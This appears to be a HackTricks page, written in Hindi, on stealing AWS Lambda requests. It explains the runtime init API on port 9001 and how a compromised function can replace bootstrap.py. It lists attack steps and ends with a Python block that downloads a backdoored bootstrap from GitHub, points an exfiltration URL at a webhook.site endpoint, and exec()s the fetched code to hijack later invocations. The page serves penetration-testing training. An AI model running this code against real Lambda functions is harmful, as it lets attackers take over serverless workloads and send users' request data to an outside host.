7.0 KiB
AWS - Lambda अनुरोध चुराना
{{#include ../../../../banners/hacktricks-training.md}}
Lambda प्रवाह

https://unit42.paloaltonetworks.com/wp-content/uploads/2019/10/lambda_poc_2_arch.png
- Slicer एक प्रक्रिया है जो कंटेनर के बाहर है और invocations को init प्रक्रिया को भेजती है।
- Init प्रक्रिया पोर्ट 9001 पर सुनती है जो कुछ दिलचस्प एंडपॉइंट्स को उजागर करती है:
/2018-06-01/runtime/invocation/next– अगली invocation घटना प्राप्त करें/2018-06-01/runtime/invocation/{invoke-id}/response– invoke के लिए हैंडलर प्रतिक्रिया लौटाएं/2018-06-01/runtime/invocation/{invoke-id}/error– एक निष्पादन त्रुटि लौटाएं
- bootstrap.py एक लूप में init प्रक्रिया से invocations प्राप्त करता है और उन्हें संभालने के लिए उपयोगकर्ता के कोड को कॉल करता है (
/next). - अंततः, bootstrap.py init को response भेजता है
ध्यान दें कि bootstrap उपयोगकर्ता के कोड को एक मॉड्यूल के रूप में लोड करता है, इसलिए उपयोगकर्ता के कोड द्वारा किया गया कोई भी कोड निष्पादन वास्तव में इस प्रक्रिया में हो रहा है।
Lambda अनुरोध चुराना
इस हमले का लक्ष्य यह है कि उपयोगकर्ता का कोड एक दुर्भावनापूर्ण bootstrap.py प्रक्रिया को bootstrap.py प्रक्रिया के अंदर निष्पादित करे जो कमजोर अनुरोध को संभालता है। इस तरह, दुर्भावनापूर्ण bootstrap प्रक्रिया init प्रक्रिया के साथ बातचीत करना शुरू कर देगी ताकि अनुरोधों को संभाला जा सके जबकि वैध bootstrap फंस गया है जो दुर्भावनापूर्ण को चला रहा है, इसलिए यह init प्रक्रिया से अनुरोध नहीं मांगेगा।
यह एक सरल कार्य है क्योंकि उपयोगकर्ता का कोड वैध bootstrap.py प्रक्रिया द्वारा निष्पादित किया जा रहा है। इसलिए हमलावर कर सकता है:
- Init प्रक्रिया को वर्तमान invocation का एक नकली परिणाम भेजें, ताकि init सोचता है कि bootstrap प्रक्रिया अधिक invocations की प्रतीक्षा कर रही है।
- एक अनुरोध
/${invoke-id}/responseपर भेजा जाना चाहिए - Invoke-id को वैध
bootstrap.pyप्रक्रिया के स्टैक से inspect पायथन मॉड्यूल का उपयोग करके प्राप्त किया जा सकता है (जैसा कि यहां प्रस्तावित है) या बस इसे फिर से/2018-06-01/runtime/invocation/nextपर अनुरोध करके प्राप्त किया जा सकता है (जैसा कि यहां प्रस्तावित है). - अगली invocations को संभालने के लिए एक दुर्भावनापूर्ण
boostrap.pyनिष्पादित करें - छिपे रहने के उद्देश्यों के लिए, हमलावर द्वारा नियंत्रित C2 पर lambda invocations पैरामीटर भेजना संभव है और फिर अनुरोधों को सामान्य रूप से संभालें।
- इस हमले के लिए,
bootstrap.pyका मूल कोड सिस्टम से या github से प्राप्त करना, दुर्भावनापूर्ण कोड जोड़ना और इसे वर्तमान lambda invocation से चलाना पर्याप्त है।
हमले के चरण
- एक RCE भेद्यता खोजें।
- एक दुर्भावनापूर्ण bootstrap उत्पन्न करें (जैसे https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py)
- दुर्भावनापूर्ण bootstrap निष्पादित करें।
आप इन कार्यों को आसानी से चलाकर कर सकते हैं:
python3 <<EOF
import os
import urllib3
# Download backdoored bootstrap
http = urllib3.PoolManager()
backdoored_bootstrap_url = "https://raw.githubusercontent.com/carlospolop/lambda_bootstrap_switcher/main/backdoored_bootstrap.py"
new_runtime = http.request('GET', backdoored_bootstrap_url).data
# Load new bootstrap
os.environ['URL_EXFIL'] = "https://webhook.site/c7036f43-ce42-442f-99a6-8ab21402a7c0"
exec(new_runtime)
EOF
अधिक जानकारी के लिए देखें https://github.com/carlospolop/lambda_bootstrap_switcher
संदर्भ
{{#include ../../../../banners/hacktricks-training.md}}